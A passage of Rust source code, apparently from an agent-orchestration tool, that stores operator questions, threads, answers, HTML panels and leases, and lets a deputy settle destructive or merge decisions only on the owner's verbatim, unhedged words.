1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 11;
64
65const POLL: Duration = Duration::from_secs(3);
74
75const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
86
87const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
93
94const WAIT_SLICE: Duration = Duration::from_secs(240);
118
119pub const LEASE_TTL: Duration = Duration::from_secs(90);
129
130const LOCK_STALE: Duration = Duration::from_secs(10);
133
134pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
145
146pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
155
156const PANEL_DIR: &str = ".panel";
162
163const PANEL_HTML: &str = "index.html";
165
166const PANEL_TMP: &str = ".panel.tmp";
168
169pub fn valid_asset_name(name: &str) -> bool {
186 if name.is_empty() || name.len() > 64 || name.contains("..") {
187 return false;
188 }
189 let mut chars = name.chars();
190 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
191 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
192}
193
194#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
196#[serde(rename_all = "lowercase")]
197pub enum QuestionStatus {
198 Open,
200 Answered,
202 Abandoned,
206}
207
208impl QuestionStatus {
209 pub fn open(self) -> bool {
211 matches!(self, Self::Open)
212 }
213
214 pub fn as_str(self) -> &'static str {
216 match self {
217 Self::Open => "open",
218 Self::Answered => "answered",
219 Self::Abandoned => "abandoned",
220 }
221 }
222}
223
224#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
231#[serde(rename_all = "lowercase")]
232pub enum Answer {
233 Choice(String),
235 Text(String),
237}
238
239#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
247#[serde(tag = "do", rename_all = "lowercase")]
248pub enum ChoiceAction {
249 Resume {
251 run: String,
253 },
254 Requeue,
256 Done,
258}
259
260impl ChoiceAction {
261 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
266 let Some((label, verb)) = spec.rsplit_once('=') else {
267 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
268 };
269 let label = label.trim();
270 if label.is_empty() {
271 bail!("`--action {spec}` names no choice before `=`");
272 }
273 let verb = verb.trim();
274 let action = match verb.split_once(':') {
275 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
276 run: run.trim().to_owned(),
277 },
278 None if verb == "resume" => {
279 if default_run.is_empty() {
280 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
281 }
282 Self::Resume {
283 run: default_run.to_owned(),
284 }
285 }
286 None if verb == "requeue" => Self::Requeue,
287 None if verb == "done" => Self::Done,
288 _ => bail!(
289 "unknown action `{verb}` in `--action {spec}`; \
290 use resume[:<run>], requeue or done"
291 ),
292 };
293 Ok((label.to_owned(), action))
294 }
295
296 pub fn describe(&self) -> String {
298 match self {
299 Self::Resume { run } => format!("resume run {}", short(run)),
300 Self::Requeue => "requeue the task".to_owned(),
301 Self::Done => "mark the task done".to_owned(),
302 }
303 }
304}
305
306pub fn parse_actions(
309 specs: &[String],
310 choices: &[String],
311 default_run: &str,
312) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
313 let mut out = std::collections::BTreeMap::new();
314 for spec in specs {
315 let (label, action) = ChoiceAction::parse(spec, default_run)?;
316 if !choices.contains(&label) {
317 bail!(
318 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
319 choices.join(", ")
320 );
321 }
322 if out.insert(label.clone(), action).is_some() {
323 bail!("more than one --action for `{label}`");
324 }
325 }
326 Ok(out)
327}
328
329#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
340#[serde(rename_all = "lowercase")]
341pub enum Who {
342 Operator,
344 Agent,
347}
348
349#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
357#[serde(deny_unknown_fields)]
358pub struct Turn {
359 pub who: Who,
361 pub body: String,
363 pub at: Timestamp,
365 #[serde(default, skip_serializing_if = "Option::is_none")]
370 pub note: Option<String>,
371}
372
373#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
375#[serde(rename_all = "lowercase")]
376pub enum WaiterKind {
377 Asker,
379 Daemon,
382 Deputy,
386}
387
388#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
400pub struct Deputy {
401 pub brief: String,
404 #[serde(default)]
406 pub agent: String,
407 #[serde(default)]
409 pub seat: Option<crate::agent::SeatState>,
410 #[serde(default)]
413 pub starts: u32,
414}
415
416impl Deputy {
417 pub fn new(brief: String) -> Self {
419 Self {
420 brief,
421 agent: String::new(),
422 seat: None,
423 starts: 0,
424 }
425 }
426}
427
428pub fn deputy_seat_key(id: &str) -> String {
430 format!("deputy-{}", short(id))
431}
432
433#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
438pub struct Waiter {
439 pub kind: WaiterKind,
441 pub since: Timestamp,
443}
444
445#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
454pub struct Lease {
455 pub kind: WaiterKind,
457 pub pid: u32,
459 pub beat_at: Timestamp,
461}
462
463impl Lease {
464 pub fn fresh(&self, now: Timestamp) -> bool {
466 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
467 }
468}
469
470#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
472#[serde(deny_unknown_fields)]
473pub struct Question {
474 pub schema: u32,
476 pub id: String,
479 pub run: String,
481 pub node: String,
483 pub seat: String,
486 pub summary: String,
489 pub detail: String,
492 #[serde(default, skip_serializing_if = "Option::is_none")]
494 pub posting_comparison: Option<crate::github_text::PostingComparison>,
495 pub choices: Vec<String>,
499 #[serde(default)]
501 pub merge_target: Option<crate::merge_decision::Target>,
502 #[serde(default)]
506 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
507 #[serde(default)]
514 pub panel: bool,
515 #[serde(default)]
522 pub assets: Vec<String>,
523 pub status: QuestionStatus,
525 pub asked_at: Timestamp,
527 #[serde(default)]
529 pub triage_generation: Option<u64>,
530 pub answered_at: Option<Timestamp>,
532 pub answer: Option<Answer>,
534 #[serde(default)]
543 pub thread: Vec<Turn>,
544 #[serde(default)]
559 pub answer_timeout: u64,
560 #[serde(default)]
566 pub cwd: Option<String>,
567 #[serde(default)]
569 pub waiter: Option<Waiter>,
570 #[serde(default)]
574 pub delivered_turns: usize,
575 #[serde(default)]
578 pub answer_delivered: bool,
579 #[serde(default)]
582 pub deputy: Option<Deputy>,
583 #[serde(default)]
587 pub consult: Option<ChatConsult>,
588 #[serde(default)]
591 pub decision_context: Option<String>,
592}
593
594#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
596pub struct ChatConsult {
597 pub talk: String,
599 pub at: Timestamp,
601}
602
603impl Question {
604 pub fn run_names_task(&self) -> bool {
607 matches!(
608 self.node.as_str(),
609 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
610 )
611 }
612
613 pub fn new(
616 run: String,
617 node: String,
618 seat: String,
619 summary: String,
620 detail: String,
621 choices: Vec<String>,
622 ) -> Self {
623 Self {
624 schema: SCHEMA,
625 id: new_id(),
626 run,
627 node,
628 seat,
629 summary,
630 detail,
631 posting_comparison: None,
632 choices,
633 merge_target: None,
634 actions: std::collections::BTreeMap::new(),
635 panel: false,
636 assets: Vec::new(),
637 status: QuestionStatus::Open,
638 asked_at: Timestamp::now(),
639 triage_generation: None,
640 answered_at: None,
641 answer: None,
642 thread: Vec::new(),
643 answer_timeout: 0,
644 cwd: None,
645 waiter: None,
646 delivered_turns: 0,
647 answer_delivered: false,
648 deputy: None,
649 consult: None,
650 decision_context: None,
651 }
652 }
653
654 pub fn short(&self) -> &str {
656 short(&self.id)
657 }
658
659 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
662 match (&self.status, &self.answer) {
663 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
664 _ => None,
665 }
666 }
667
668 pub fn free_text(&self) -> bool {
670 self.choices.is_empty()
671 }
672
673 pub fn answer(&mut self, answer: Answer) -> Result<()> {
683 match self.status {
684 QuestionStatus::Answered => bail!(
685 "question {} was already answered; the run has moved on and a \
686 second answer would be a decision nobody acted on",
687 self.short()
688 ),
689 QuestionStatus::Abandoned => bail!(
690 "question {} was abandoned and the run behind it is gone",
691 self.short()
692 ),
693 QuestionStatus::Open => {}
694 }
695 let body = match &answer {
696 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
697 };
698 if body.trim().is_empty() {
699 bail!(
700 "question {} needs an answer; an empty one tells the agent \
701 nothing and it would guess anyway",
702 self.short()
703 );
704 }
705 match &answer {
706 Answer::Choice(c) if self.free_text() => bail!(
707 "question {} asks for free text, so `{c}` cannot be a choice \
708 it offered",
709 self.short()
710 ),
711 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
712 "`{c}` is not one of the choices question {} offers: {}",
713 self.short(),
714 self.choices.join(", ")
715 ),
716 Answer::Text(_) if !self.free_text() => bail!(
717 "question {} is multiple choice; answer with one of: {}",
718 self.short(),
719 self.choices.join(", ")
720 ),
721 _ => {}
722 }
723 self.answered_at = Some(Timestamp::now());
724 self.answer = Some(answer);
725 self.status = QuestionStatus::Answered;
726 Ok(())
727 }
728
729 pub fn abandon(&mut self, why: impl Into<String>) {
741 if !self.status.open() {
742 return;
743 }
744 self.status = QuestionStatus::Abandoned;
745 let why = why.into();
746 let why = why.trim();
747 if why.is_empty() {
748 return;
749 }
750 if !self.detail.is_empty() {
751 self.detail.push('\n');
752 }
753 self.detail.push_str("\n_Abandoned: ");
754 self.detail.push_str(why);
755 self.detail.push_str("._\n");
756 }
757
758 pub fn resolution(&self) -> Option<String> {
765 match (self.status, &self.answer) {
766 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
767 Some(a.clone())
768 }
769 _ => None,
770 }
771 }
772
773 pub fn settle_by_deputy(
784 &mut self,
785 seat: &str,
786 label: &str,
787 quote: &str,
788 note: Option<&str>,
789 ) -> Result<()> {
790 let Some(deputy) = &self.deputy else {
791 bail!("question {} has no deputy", self.short());
792 };
793 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
794 if own != Some(seat) {
795 bail!("only the deputy of question {} may settle it", self.short());
796 }
797 if !self.choices.iter().any(|c| c == label) {
798 bail!(
799 "`{label}` is not one of the choices offered on question {}",
800 self.short()
801 );
802 }
803 let quote = quote.trim();
804 if quote.is_empty()
805 || !self
806 .thread
807 .iter()
808 .any(|t| t.who == Who::Operator && t.body.contains(quote))
809 {
810 bail!(
811 "the quote is not something the owner said on question {}",
812 self.short()
813 );
814 }
815 let latest = self
818 .thread
819 .iter()
820 .rev()
821 .find(|t| t.who == Who::Operator)
822 .map(|t| {
823 if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
824 t.body.as_str()
825 } else {
826 t.body.trim()
827 }
828 });
829 if crate::deputy::merge_gated(self) {
830 let ok = if label == crate::land::APPROVE {
836 latest.is_some_and(|m| match &self.merge_target {
837 Some(target) => m == format!("merge {}", target.head) && quote == m,
838 None => m.contains(quote),
839 })
840 } else {
841 latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
842 };
843 if !ok {
844 bail!(
845 "on a merge approval `{label}` settles it only when the quote is a \
846 verbatim part of the owner's latest message ({}); if the wording is \
847 doubtful, ask what they mean with `--thread` instead",
848 if label == crate::land::HOLD {
849 "for `hold`, the whole message"
850 } else {
851 "the quote must be the instruction itself"
852 }
853 );
854 }
855 } else if self.node == crate::github_text::ASK_NODE
856 && crate::deputy::destructive(self, label)
857 {
858 if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
859 bail!(
860 "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
861 );
862 }
863 } else if crate::deputy::destructive(self, label)
864 && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
865 {
866 bail!(
867 "`{label}` cannot be undone; it settles question {} only when the owner's \
868 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
869 / not / question); ask what they mean with `--thread` instead",
870 self.short()
871 );
872 }
873 self.thread.push(Turn {
874 who: Who::Agent,
875 body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
876 at: Timestamp::now(),
877 note: note
878 .map(str::trim)
879 .filter(|n| !n.is_empty())
880 .map(str::to_owned),
881 });
882 self.delivered_turns = self.thread.len();
883 self.answer(Answer::Choice(label.to_owned()))
884 }
885
886 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
897 match self.status {
898 QuestionStatus::Answered => bail!(
899 "question {} was already answered; there is nothing left to \
900 discuss",
901 self.short()
902 ),
903 QuestionStatus::Abandoned => bail!(
904 "question {} was abandoned and the run behind it is gone",
905 self.short()
906 ),
907 QuestionStatus::Open => {}
908 }
909 let body = body.into();
910 if body.trim().is_empty() {
911 bail!("a message to question {} cannot be empty", self.short());
912 }
913 self.thread.push(Turn {
914 who: Who::Operator,
915 body,
916 at: Timestamp::now(),
917 note: None,
918 });
919 Ok(())
920 }
921
922 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
932 match self.status {
933 QuestionStatus::Answered => bail!(
934 "question {} was already answered; replying now would not \
935 reach anyone",
936 self.short()
937 ),
938 QuestionStatus::Abandoned => bail!(
939 "question {} was abandoned and the run behind it is gone",
940 self.short()
941 ),
942 QuestionStatus::Open => {}
943 }
944 let body = body.into();
945 if body.trim().is_empty() {
946 bail!("a reply to question {} cannot be empty", self.short());
947 }
948 self.actions.retain(|label, _| choices.contains(label));
950 self.choices = choices;
951 let unread = self.unread_from_owner().is_some();
952 self.thread.push(Turn {
953 who: Who::Agent,
954 body,
955 at: Timestamp::now(),
956 note: None,
957 });
958 if !unread {
962 self.delivered_turns = self.thread.len();
963 }
964 Ok(())
965 }
966
967 pub fn unread_from_owner(&self) -> Option<String> {
974 if !self.status.open() {
975 return None;
976 }
977 let said = self.undelivered_owner_turns();
978 (!said.is_empty()).then(|| said.join("\n\n"))
979 }
980
981 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
987 let from = self.delivered_turns.min(self.thread.len());
988 self.thread[from..]
989 .iter()
990 .filter(|t| t.who == Who::Operator)
991 .map(|t| t.body.as_str())
992 .collect()
993 }
994
995 pub fn last_activity(&self) -> i64 {
999 self.thread
1000 .iter()
1001 .map(|t| t.at.as_second())
1002 .max()
1003 .unwrap_or(0)
1004 .max(self.asked_at.as_second())
1005 }
1006
1007 pub fn waiting_on_agent(&self) -> bool {
1016 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1017 }
1018
1019 fn should_notify(&self, now: Timestamp) -> bool {
1027 let Some(last) = self
1028 .thread
1029 .iter()
1030 .rev()
1031 .find(|t| t.who == Who::Operator)
1032 .map(|t| t.at)
1033 else {
1034 return true;
1035 };
1036 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1037 }
1038}
1039
1040#[derive(Debug, Clone)]
1042pub struct Questions {
1043 root: PathBuf,
1044}
1045
1046impl Questions {
1047 pub fn open() -> Self {
1049 Self::at(crate::run::home().join("questions"))
1050 }
1051
1052 pub fn at(root: PathBuf) -> Self {
1055 Self { root }
1056 }
1057
1058 pub fn root(&self) -> &Path {
1060 &self.root
1061 }
1062
1063 pub fn path_of(&self, id: &str) -> PathBuf {
1065 self.root.join(format!("{id}.json"))
1066 }
1067
1068 pub fn panel_dir(&self, id: &str) -> PathBuf {
1070 self.root.join(format!("{id}{PANEL_DIR}"))
1071 }
1072
1073 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1097 if !valid_asset_name(&q.id) {
1098 bail!(
1099 "question id `{}` is not a name magi will build a panel path from",
1100 q.id
1101 );
1102 }
1103 if html.trim().is_empty() {
1104 bail!(
1105 "question {} was handed an empty panel; an empty frame reads to \
1106 the owner as \"the agent had nothing to say\", which is a lie",
1107 q.short()
1108 );
1109 }
1110
1111 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1114 for src in assets {
1115 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1116 if !valid_asset_name(name) {
1117 bail!(
1118 "panel asset `{}` cannot be stored: a panel file name must \
1119 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1120 src.display()
1121 );
1122 }
1123 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1124 bail!(
1125 "two panel assets are both named `{name}` - {} and {} - and \
1126 the panel can only show one of them; rename one at the source",
1127 first.display(),
1128 src.display()
1129 );
1130 }
1131 named.push((name.to_owned(), src.as_path()));
1132 }
1133
1134 let mut total = html.len() as u64;
1135 for (_, src) in &named {
1136 let meta = std::fs::metadata(src)
1137 .with_context(|| format!("stat panel asset {}", src.display()))?;
1138 if !meta.is_file() {
1139 bail!(
1140 "panel asset `{}` is not a file; a panel is html plus files \
1141 copied beside it",
1142 src.display()
1143 );
1144 }
1145 total = total.saturating_add(meta.len());
1146 }
1147 if total > PANEL_MAX_BYTES {
1148 bail!(
1149 "panel for question {} is {total} bytes, over magi's cap of \
1150 {PANEL_MAX_BYTES} bytes; nothing was written",
1151 q.short()
1152 );
1153 }
1154
1155 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1156 let dir = self.panel_dir(&q.id);
1157 std::fs::create_dir_all(&self.root)
1158 .with_context(|| format!("create {}", self.root.display()))?;
1159 clear_dir(&tmp)?;
1160 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1161 if let Err(e) = fill_panel(&tmp, html, &named) {
1162 let _ = std::fs::remove_dir_all(&tmp);
1165 return Err(e);
1166 }
1167 clear_dir(&dir)?;
1168 std::fs::rename(&tmp, &dir)
1169 .with_context(|| format!("move panel into {}", dir.display()))?;
1170
1171 q.panel = true;
1172 q.assets = named.into_iter().map(|(n, _)| n).collect();
1173 q.assets.sort_unstable();
1174 Ok(())
1175 }
1176
1177 pub fn panel_html(&self, id: &str) -> Option<String> {
1183 if !valid_asset_name(id) {
1184 return None;
1185 }
1186 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1187 }
1188
1189 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1200 if !valid_asset_name(name) {
1201 bail!(
1202 "`{name}` is not a panel file name; it must match \
1203 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1204 );
1205 }
1206 if !valid_asset_name(id) {
1207 return Ok(None);
1208 }
1209 let dir = self.panel_dir(id);
1210 if !dir.is_dir() {
1211 return Ok(None);
1212 }
1213 let path = dir.join(name);
1214 match std::fs::read(&path) {
1215 Ok(bytes) => Ok(Some(bytes)),
1216 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1217 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1218 }
1219 }
1220
1221 pub fn drop_panel(&self, id: &str) -> Result<()> {
1230 if !valid_asset_name(id) {
1231 bail!("question id `{id}` is not a name magi will build a panel path from");
1232 }
1233 clear_dir(&self.panel_dir(id))?;
1234 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1235 }
1236
1237 pub fn lease_path(&self, id: &str) -> PathBuf {
1239 self.root.join(format!("{id}.lease"))
1240 }
1241
1242 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1244 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1245 serde_json::from_str(&body).ok()
1246 }
1247
1248 pub fn beat(&self, id: &str, kind: WaiterKind) {
1255 let lease = Lease {
1256 kind,
1257 pid: std::process::id(),
1258 beat_at: Timestamp::now(),
1259 };
1260 let path = self.lease_path(id);
1261 let tmp = path.with_extension("lease.tmp");
1262 let written = std::fs::create_dir_all(&self.root)
1263 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1264 .and_then(|()| std::fs::rename(&tmp, &path));
1265 if let Err(e) = written {
1266 tracing::debug!("could not beat the lease on question {id}: {e}");
1267 }
1268 }
1269
1270 pub fn drop_lease(&self, id: &str) {
1272 let _ = std::fs::remove_file(self.lease_path(id));
1273 }
1274
1275 pub fn update<T>(
1286 &self,
1287 id: &str,
1288 f: impl FnOnce(&mut Question) -> Result<T>,
1289 ) -> Result<(Question, T)> {
1290 std::fs::create_dir_all(&self.root)
1291 .with_context(|| format!("create {}", self.root.display()))?;
1292 let lock = self.root.join(format!("{id}.lock"));
1293 let started = std::time::Instant::now();
1294 loop {
1295 match std::fs::OpenOptions::new()
1296 .write(true)
1297 .create_new(true)
1298 .open(&lock)
1299 {
1300 Ok(_) => break,
1301 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1302 let stale = std::fs::metadata(&lock)
1303 .and_then(|m| m.modified())
1304 .ok()
1305 .and_then(|t| t.elapsed().ok())
1306 .is_some_and(|age| age > LOCK_STALE);
1307 if stale {
1308 let _ = std::fs::remove_file(&lock);
1309 } else if started.elapsed() > LOCK_STALE {
1310 bail!("could not lock question {id}");
1311 } else {
1312 std::thread::sleep(Duration::from_millis(15));
1313 }
1314 }
1315 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1316 }
1317 }
1318 struct Unlock(PathBuf);
1319 impl Drop for Unlock {
1320 fn drop(&mut self) {
1321 let _ = std::fs::remove_file(&self.0);
1322 }
1323 }
1324 let _guard = Unlock(lock);
1325 let mut q = read_path(&self.path_of(id))?;
1326 let out = f(&mut q)?;
1327 self.put(&mut q)?;
1328 Ok((q, out))
1329 }
1330
1331 pub fn put(&self, q: &mut Question) -> Result<()> {
1335 std::fs::create_dir_all(&self.root)
1336 .with_context(|| format!("create {}", self.root.display()))?;
1337 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1338 let path = self.path_of(&q.id);
1339 let tmp = path.with_extension("json.tmp");
1340 let is_new = !path.exists();
1341 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1342 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1343 if is_new
1346 && q.status.open()
1347 && q.node != crate::bump::NOTICE_NODE
1348 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1349 {
1350 crate::notices::quiet_for(home, q);
1351 }
1352 Ok(())
1353 }
1354
1355 pub fn get(&self, id: &str) -> Result<Question> {
1357 let resolved = self.resolve_id(id)?;
1358 let q = read_path(&self.path_of(&resolved))?;
1359 Ok(self.with_repair_choice(q))
1360 }
1361
1362 fn with_repair_choice(&self, q: Question) -> Question {
1363 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1364 && q.node == crate::land::APPROVAL_NODE
1365 && let Some(home) = self.root.parent()
1366 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1367 {
1368 let mut upgraded = q.clone();
1369 if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1370 match self.update(&q.id, |current| {
1371 crate::land::upgrade_repair_choice(current, &state);
1372 Ok(())
1373 }) {
1374 Ok((current, ())) => return current,
1375 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1376 }
1377 }
1378 }
1379 q
1380 }
1381
1382 pub fn list(&self) -> Vec<Question> {
1390 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1391 .into_iter()
1392 .flatten()
1393 .flatten()
1394 .map(|e| e.path())
1395 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1396 .filter_map(|p| read_path(&p).ok())
1397 .map(|q| self.with_repair_choice(q))
1398 .collect();
1399 all.sort_unstable_by(|a, b| {
1400 let rank = |q: &Question| u8::from(!q.status.open());
1401 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1402 });
1403 all
1404 }
1405
1406 pub fn open_for(&self, run: &str) -> Vec<Question> {
1412 self.list()
1413 .into_iter()
1414 .filter(|q| q.status.open() && q.run == run)
1415 .collect()
1416 }
1417
1418 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1431 let mut abandoned = 0;
1432 for mut q in self.open_for(run) {
1433 q.abandon(why);
1434 self.put(&mut q)?;
1435 abandoned += 1;
1436 }
1437 Ok(abandoned)
1438 }
1439
1440 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1464 if status.resumable() {
1465 return Ok(0);
1466 }
1467 let why = format!(
1468 "run {run} {}, so nothing is waiting for this answer",
1469 status.as_str()
1470 );
1471 let mut abandoned = 0;
1476 for mut q in self.open_for(run) {
1477 if q.node == crate::bump::NOTICE_NODE {
1478 continue;
1479 }
1480 q.abandon(&why);
1481 self.put(&mut q)?;
1482 abandoned += 1;
1483 }
1484 Ok(abandoned)
1485 }
1486
1487 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1490 use crate::queue::{Reference, record_ids, resolve_reference};
1491 let ids = record_ids(&self.root, "json")?;
1492 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1493 Reference::Found(id) => Ok(id),
1494 Reference::Missing => bail!("no question matches `{prefix}`"),
1495 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1496 }
1497 }
1498
1499 pub fn revision(&self) -> u64 {
1503 std::fs::read_dir(&self.root)
1504 .into_iter()
1505 .flatten()
1506 .flatten()
1507 .filter_map(|e| e.metadata().ok())
1508 .filter_map(|m| m.modified().ok())
1509 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1510 .map(|d| d.as_millis() as u64)
1511 .max()
1512 .unwrap_or(0)
1513 }
1514
1515 pub fn count_open(&self) -> usize {
1521 self.list().iter().filter(|q| q.status.open()).count()
1522 }
1523
1524 pub fn count_needs_owner(&self) -> usize {
1533 self.list()
1534 .iter()
1535 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1536 .count()
1537 }
1538
1539 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1543 q.status.open()
1544 && q.deputy
1545 .as_ref()
1546 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1547 && !self
1548 .read_lease(&q.id)
1549 .is_some_and(|l| l.fresh(Timestamp::now()))
1550 }
1551}
1552
1553#[derive(Debug, Clone, PartialEq, Eq)]
1555pub enum Wait {
1556 Answered(String),
1558 Replied(String),
1563 Pending,
1570 Abandoned,
1575}
1576
1577pub async fn ask_and_wait(
1584 q: &mut Question,
1585 store: &Questions,
1586 notify: &config::Notify,
1587 timeout: Duration,
1588) -> Result<Wait> {
1589 wait_for_owner(q, store, notify, timeout, POLL).await
1590}
1591
1592pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1607 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1608}
1609
1610async fn wait_for_owner(
1616 q: &mut Question,
1617 store: &Questions,
1618 cfg: &config::Notify,
1619 timeout: Duration,
1620 poll: Duration,
1621) -> Result<Wait> {
1622 if !store.path_of(&q.id).is_file() {
1626 store.put(q).context("file the question")?;
1627 }
1628 if q.should_notify(Timestamp::now()) {
1629 if let Err(e) = notify(cfg, q).await {
1630 tracing::warn!(
1635 "could not notify about question {}: {e:#} - the web UI is the \
1636 only surface for it now",
1637 q.short()
1638 );
1639 }
1640 }
1641 tracing::info!(
1642 "question {} from {} is waiting for you: {}",
1643 q.short(),
1644 q.seat,
1645 q.summary
1646 );
1647 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1648}
1649
1650fn hold(store: &Questions, id: &str) {
1652 store.beat(id, WaiterKind::Asker);
1653 let took = store.update(id, |q| {
1654 if q.status.open() {
1655 q.waiter = Some(Waiter {
1656 kind: WaiterKind::Asker,
1657 since: Timestamp::now(),
1658 });
1659 }
1660 Ok(())
1661 });
1662 if let Err(e) = took {
1663 tracing::debug!("could not note the wait on question {id}: {e:#}");
1664 }
1665}
1666
1667pub fn hand_over(store: &Questions, q: &mut Question) {
1675 let done = store.update(&q.id, |r| {
1676 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1677 if r.status == QuestionStatus::Answered {
1678 r.answer_delivered = true;
1679 }
1680 r.waiter = None;
1681 Ok(())
1682 });
1683 match done {
1684 Ok((fresh, ())) => *q = fresh,
1685 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1686 }
1687}
1688
1689pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1693 let says = q.undelivered_owner_turns();
1694 if says.is_empty() {
1695 return answer.to_owned();
1696 }
1697 format!(
1698 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1699 says.join("\n\n")
1700 )
1701}
1702
1703pub fn deliver_answer(
1706 store: &Questions,
1707 q: &mut Question,
1708 answer: &str,
1709 out: &mut impl std::io::Write,
1710) -> std::io::Result<()> {
1711 writeln!(out, "{}", answer_for_agent(q, answer))?;
1712 out.flush()?;
1713 hand_over(store, q);
1714 Ok(())
1715}
1716
1717async fn wait_loop(
1727 q: &mut Question,
1728 store: &Questions,
1729 timeout: Duration,
1730 slice: Duration,
1731 poll: Duration,
1732) -> Result<Wait> {
1733 if let Some(said) = q.unread_from_owner() {
1743 return Ok(Wait::Replied(said));
1744 }
1745 hold(store, &q.id);
1746
1747 let bounded = timeout.min(slice);
1748 let is_the_real_deadline = bounded >= timeout;
1749 let deadline = tokio::time::Instant::now() + bounded;
1750 loop {
1751 let now = tokio::time::Instant::now();
1752 if now >= deadline {
1753 if !is_the_real_deadline {
1754 return Ok(Wait::Pending);
1758 }
